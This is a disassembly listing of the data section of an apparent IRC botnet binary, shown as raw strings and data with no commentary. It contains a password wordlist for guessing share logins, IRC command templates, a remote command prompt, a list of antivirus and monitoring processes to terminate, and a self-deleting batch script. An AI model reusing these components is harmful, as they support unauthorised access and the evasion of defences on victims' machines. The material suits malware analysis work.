aTurkyy db 'turkyy',0 ; DATA XREF: .packed:00438934o
align 4
aAhmet db 'ahmet',0 ; DATA XREF: .packed:00438930o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: .packed:0043892Co
align 10h
aBlackpearl db 'blackpearl',0 ; DATA XREF: .packed:00438928o
align 4
aRetg db 'RETG',0 ; DATA XREF: .packed:00438924o
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: .packed:00438920o
align 10h
aPiramit db 'PIRAMIT',0 ; DATA XREF: .packed:0043891Co
aAslii db 'aslii',0 ; DATA XREF: .packed:00438918o
align 10h
aErnesto db 'ERNESTO',0 ; DATA XREF: .packed:00438914o
aHaticem db 'haticem',0 ; DATA XREF: .packed:00438910o
aArzu db 'ARZU',0 ; DATA XREF: .packed:0043890Co
align 4
aSudenur db 'SUDENUR',0 ; DATA XREF: .packed:00438908o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: .packed:00438904o
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: .packed:00438900o
align 4
aTekir db 'tekir',0 ; DATA XREF: .packed:004388FCo
align 10h
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .packed:004388F8o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: .packed:004388F4o
align 4
aMelekk db 'melekk',0 ; DATA XREF: .packed:004388F0o
align 4
aAkin db 'AKIN',0 ; DATA XREF: .packed:004388ECo
align 4
aMary_0 db 'MARY',0 ; DATA XREF: .packed:004388E8o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: .packed:004388E4o
aTolga34 db 'Tolga34',0 ; DATA XREF: .packed:004388E0o
aMisssunday db 'misssunday',0 ; DATA XREF: .packed:004388DCo
align 4
aIrmal db 'irmal',0 ; DATA XREF: .packed:004388D8o
align 10h
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .packed:004388D4o
align 10h
aBerk19 db 'berk19',0 ; DATA XREF: .packed:004388D0o
align 4
aHexaaa db 'hexaaa',0 ; DATA XREF: .packed:004388CCo
align 10h
aErkan27 db 'erkan27',0 ; DATA XREF: .packed:004388C8o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: .packed:004388C4o
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: .packed:004388C0o
align 10h
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .packed:004388BCo
align 4
aKencing db 'Kencing',0 ; DATA XREF: .packed:004388B8o
aReshma db 'reshma',0 ; DATA XREF: .packed:004388B4o
align 4
aCamel db 'CAMEL',0 ; DATA XREF: .packed:004388B0o
align 4
aGirl db 'GirL',0 ; DATA XREF: .packed:004388ACo
align 4
aImra db 'imra',0 ; DATA XREF: .packed:004388A8o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: .packed:004388A4o
align 10h
aPuregold db 'puregold',0 ; DATA XREF: .packed:004388A0o
align 4
aKermit db 'kermit',0 ; DATA XREF: .packed:0043889Co
align 4
aManee db 'manee',0 ; DATA XREF: .packed:00438898o
align 4
aTroller db 'troller',0 ; DATA XREF: .packed:00438894o
aLuisa db 'Luisa',0 ; DATA XREF: .packed:00438890o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: .packed:0043888Co
align 4
aRimpy db 'rimpy',0 ; DATA XREF: .packed:00438888o
align 10h
aJanno db 'janno',0 ; DATA XREF: .packed:00438884o
align 4
aBunty db 'bunty',0 ; DATA XREF: .packed:00438880o
align 10h
aHeval db 'heval',0 ; DATA XREF: .packed:0043887Co
align 4
aCme db 'cme',0 ; DATA XREF: .packed:00438878o
aMarcy db 'marcy',0 ; DATA XREF: .packed:00438874o
align 4
aTalika db 'talika',0 ; DATA XREF: .packed:00438870o
align 4
aShez db 'Shez',0 ; DATA XREF: .packed:0043886Co
align 4
aKen db 'ken',0 ; DATA XREF: .packed:00438868o
aFlexster db 'flexster',0 ; DATA XREF: .packed:00438864o
align 4
aKoko db 'koko',0 ; DATA XREF: .packed:00438860o
align 4
aMale db 'male',0 ; DATA XREF: .packed:0043885Co
align 4
aSwin db 'swin',0 ; DATA XREF: .packed:00438858o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: .packed:00438854o
aKrizha db 'KRIZHA',0 ; DATA XREF: .packed:00438850o
align 4
aEmilya db 'emilya',0 ; DATA XREF: .packed:0043884Co
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .packed:00438848o
align 10h
aMaxxguy db 'maxxguy',0 ; DATA XREF: .packed:00438844o
aFarooq db 'farooq',0 ; DATA XREF: .packed:00438840o
align 10h
aSmartmir db 'SMARTMIR',0 ; DATA XREF: .packed:0043883Co
align 4
aM_0: ; DATA XREF: .packed:00438838o
unicode 0, <M>,0
word_4392A0 dw 4Eh ; DATA XREF: sub_41A3C6+38r
; .packed:00438834o
align 4
dword_4392A4 dd 42h ; DATA XREF: .packed:00438830o
dword_4392A8 dd 56h ; DATA XREF: .packed:0043882Co
dword_4392AC dd 43h ; DATA XREF: .packed:00438828o
dword_4392B0 dd 58h ; DATA XREF: .packed:00438824o
dword_4392B4 dd 5Ah ; DATA XREF: .packed:00438820o
dword_4392B8 dd 4Ch ; DATA XREF: .packed:0043881Co
dword_4392BC dd 4Bh ; DATA XREF: .packed:00438818o
dword_4392C0 dd 4Ah ; DATA XREF: .packed:00438814o
dword_4392C4 dd 48h ; DATA XREF: .packed:00438810o
dword_4392C8 dd 47h ; DATA XREF: .packed:0043880Co
dword_4392CC dd 46h ; DATA XREF: .packed:00438808o
dword_4392D0 dd 44h ; DATA XREF: .packed:00438804o
dword_4392D4 dd 53h ; DATA XREF: .packed:00438800o
dword_4392D8 dd 50h ; DATA XREF: .packed:004387F8o
dword_4392DC dd 4Fh ; DATA XREF: .packed:004387F4o
dword_4392E0 dd 55h ; DATA XREF: .packed:004387ECo
word_4392E4 dw 59h ; DATA XREF: sub_41A6EA+38r
; .packed:004387E8o
align 4
dword_4392E8 dd 54h ; DATA XREF: .packed:004387E4o
dword_4392EC dd 52h ; DATA XREF: .packed:004387E0o
dword_4392F0 dd 45h ; DATA XREF: .packed:004387DCo
dword_4392F4 dd 57h ; DATA XREF: .packed:004387D8o
dword_4392F8 dd 51h ; DATA XREF: .packed:004387D4o
dword_4392FC dd 62h ; DATA XREF: .packed:004387C8o
dword_439300 dd 78h ; DATA XREF: .packed:004387BCo
; .packed:00438B14o
dword_439304 dd 7Ah ; DATA XREF: .packed:004387B8o
; .packed:00438B1Co
dword_439308 dd 6Ch ; DATA XREF: .packed:004387B4o
; .packed:00438AE8o
dword_43930C dd 68h ; DATA XREF: .packed:004387A8o
; .packed:00438AD4o
dword_439310 dd 67h ; DATA XREF: .packed:004387A4o
; .packed:00438AD0o
dword_439314 dd 66h ; DATA XREF: .packed:004387A0o
; .packed:00438ACCo
dword_439318 dd 64h ; DATA XREF: .packed:0043879Co
; .packed:00438AC4o
dword_43931C dd 79h ; DATA XREF: .packed:00438784o
; .packed:00438B18o
dword_439320 dd 77h ; DATA XREF: .packed:00438774o
; .packed:00438B10o
dword_439324 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B76+B1o
dword_439330 dd 323334h ; DATA XREF: sub_417B76+79o
dword_439334 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B76+61o
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 10h
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo
; sub_417E84+175r ...
align 4
dword_43937C dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C8 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o
; ---------------------------------------------------------------------------
loc_4393E4: ; DATA XREF: sub_4182CD+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_4393F8 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_4182CD+13Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
align 10h
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co
align 10h
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o
align 4
unk_4394AC db 2Dh ; - ; DATA XREF: sub_418A2E+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_4394DC db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_439504 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_418A2E+5Co
dd 65726165h, 64h
off_439520 dd offset aAdd ; DATA XREF: sub_418C0E+60r
; sub_418FE5+51r ...
; "Add"
off_439524 dd offset aAdded ; DATA XREF: sub_418C0E+2Dr
; sub_418FE5+83r ...
; "Added"
dword_439528 dd 0 ; DATA XREF: sub_418C0E+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 439594h, 43958Ch, 2, 439580h, 439574h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .packed:00439554o
aStop_0 db 'Stop',0 ; DATA XREF: .packed:00439550o
align 4
aStarted db 'Started',0 ; DATA XREF: .packed:00439548o
aStart_0 db 'Start',0 ; DATA XREF: .packed:00439544o
align 4
aListed db 'Listed',0 ; DATA XREF: .packed:0043953Co
align 4
aList_1 db 'List',0 ; DATA XREF: .packed:00439538o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .packed:00439530o
aDelete_0 db 'Delete',0 ; DATA XREF: .packed:0043952Co
align 4
aAdded db 'Added',0 ; DATA XREF: .packed:off_439524o
align 4
aAdd db 'Add',0 ; DATA XREF: .packed:off_439520o
unk_4395E8 db 2Dh ; - ; DATA XREF: sub_418C0E+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_43960C db 2Dh ; - ; DATA XREF: sub_418C0E+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
unk_439638 db 2Dh ; - ; DATA XREF: sub_418C0E+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_418D2A:loc_418E34o
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_418D2A:loc_418E2Do
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_418D2A:loc_418E26o
db ' correct access rights.',0
align 10h
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_418D2A:loc_418E1Fo
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_418D2A:loc_418E11o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_418D2A:loc_418E0Ao
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_418D2A:loc_418E03o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_418D2A:loc_418DD8o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_418D2A:loc_418DD1o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_418D2A:loc_418DCAo
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_418D2A:loc_418DC3o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_418D2A:loc_418D98o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_418D2A:loc_418D70o
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
align 10h
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o
aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o
aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o
aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_418EA8+25o
align 4
unk_439B8C db 2Dh ; - ; DATA XREF: sub_418FE5+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 10h
dword_439BB0 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_418FE5+8Ao
dd 73252720h, 27h
unk_439BCC db 2Dh ; - ; DATA XREF: sub_418FE5+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
align 10h
aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o
unk_439C18 db 2Dh ; - ; DATA XREF: sub_4191DB+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_4191DB+26o
align 4
unk_439C78 db 2Dh ; - ; DATA XREF: sub_4192FC+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 10h
unk_439CA0 db 2Dh ; - ; DATA XREF: sub_4192FC+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 10h
unk_439CD0 db 2Dh ; - ; DATA XREF: sub_4192FC+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 10h
unk_439CF0 db 2Dh ; - ; DATA XREF: sub_419443+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
align 10h
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo
align 10h
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o
align 10h
aUser_1 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_419443+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
align 4
unk_439EAC db 2Dh ; - ; DATA XREF: sub_41982C+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo
align 10h
unk_439EE0 db 2Dh ; - ; DATA XREF: sub_41982C+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
align 10h
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
align 10h
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_4199AC:loc_419A90o
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_4199AC+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
align 10h
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
align 10h
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_4199AC:loc_4199FBo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
align 4
dword_43A1E8 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419AE0+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_43A214 db 2Dh ; - ; DATA XREF: sub_419AE0+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dword_43A23C dd 7530h ; DATA XREF: sub_419F4D+12r
off_43A240 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_43A348
dd offset dword_43A33C
dd offset dword_43A330
dd offset dword_43A324
dd offset dword_43A318
dd offset dword_43A30C
dd offset dword_43A2FC
dd offset dword_43A2F0
dd offset dword_43A2E4
dd offset dword_43A2D8
dd offset dword_43A2CC
dd offset dword_43A2BC
dd offset dword_43A2B0
dd offset dword_43A2A0
dword_43A2A0 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419C09+ECo
; .packed:0043A29Co
dword_43A2B0 dd 6E757269h, 78652E34h, 65h ; DATA XREF: .packed:0043A298o
dword_43A2BC dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: .packed:0043A294o
dword_43A2CC dd 65746172h, 6578652Eh, 0 ; DATA XREF: .packed:0043A290o
dword_43A2D8 dd 74617373h, 78652E65h, 65h ; DATA XREF: .packed:0043A28Co
dword_43A2E4 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: .packed:0043A288o
dword_43A2F0 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: .packed:0043A284o
dword_43A2FC dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: .packed:0043A280o
dword_43A30C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: .packed:0043A27Co
dword_43A318 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: .packed:0043A278o
dword_43A324 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: .packed:0043A274o
dword_43A330 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: .packed:0043A270o
dword_43A33C dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: .packed:0043A26Co
dword_43A348 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: .packed:0043A268o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .packed:0043A264o
align 4
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .packed:0043A260o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .packed:0043A25Co
align 10h
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .packed:0043A258o
align 10h
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .packed:0043A254o
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: .packed:0043A250o
align 4
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .packed:0043A24Co
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .packed:0043A248o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .packed:0043A244o
align 10h
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .packed:off_43A240o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419C09+191o
align 4
unk_43A3F8 db 2Dh ; - ; DATA XREF: sub_419E38:loc_419EBFo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_43A41C db 2Dh ; - ; DATA XREF: sub_419E38+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 10h
unk_43A440 db 2Dh ; - ; DATA XREF: sub_419E38+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A470 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A4A0 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_43A4C8 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 4
unk_43A4F8 db 2Dh ; - ; DATA XREF: sub_41A1B1+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
unk_43A52C db 2Dh ; - ; DATA XREF: sub_41A1B1+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 10h
off_43A550 dd offset dword_43A588 ; DATA XREF: sub_41A3C6+1B3o
; sub_41A6EA+17Ao
align 8
dd offset dword_43A580
align 10h
off_43A560 dd offset dword_43A57C ; DATA XREF: sub_41A6EA+1E3o
dd offset dword_43A578
dd offset dword_43A574
dd offset dword_43A570
dword_43A570 dd 5C3A44h ; DATA XREF: sub_41A3C6+217o
; .packed:0043A56Co
dword_43A574 dd 2444h ; DATA XREF: .packed:0043A568o
dword_43A578 dd 5C3A43h ; DATA XREF: .packed:0043A564o
dword_43A57C dd 2443h ; DATA XREF: .packed:off_43A560o
dword_43A580 dd 494D4441h, 244Eh ; DATA XREF: .packed:0043A558o
dword_43A588 dd 24435049h, 0 ; DATA XREF: .packed:off_43A550o
dword_43A590 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2E5o
; sub_41A6EA+2DBo
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_43A5C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2CFo
aNetworkSharesD db '- Network shares deleted.',0
align 4
dword_43A5E8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A628o
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_43A614 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 4
dword_43A638 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_43A664 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 4
dword_43A688 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F8o
; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43A6B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6F4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 4
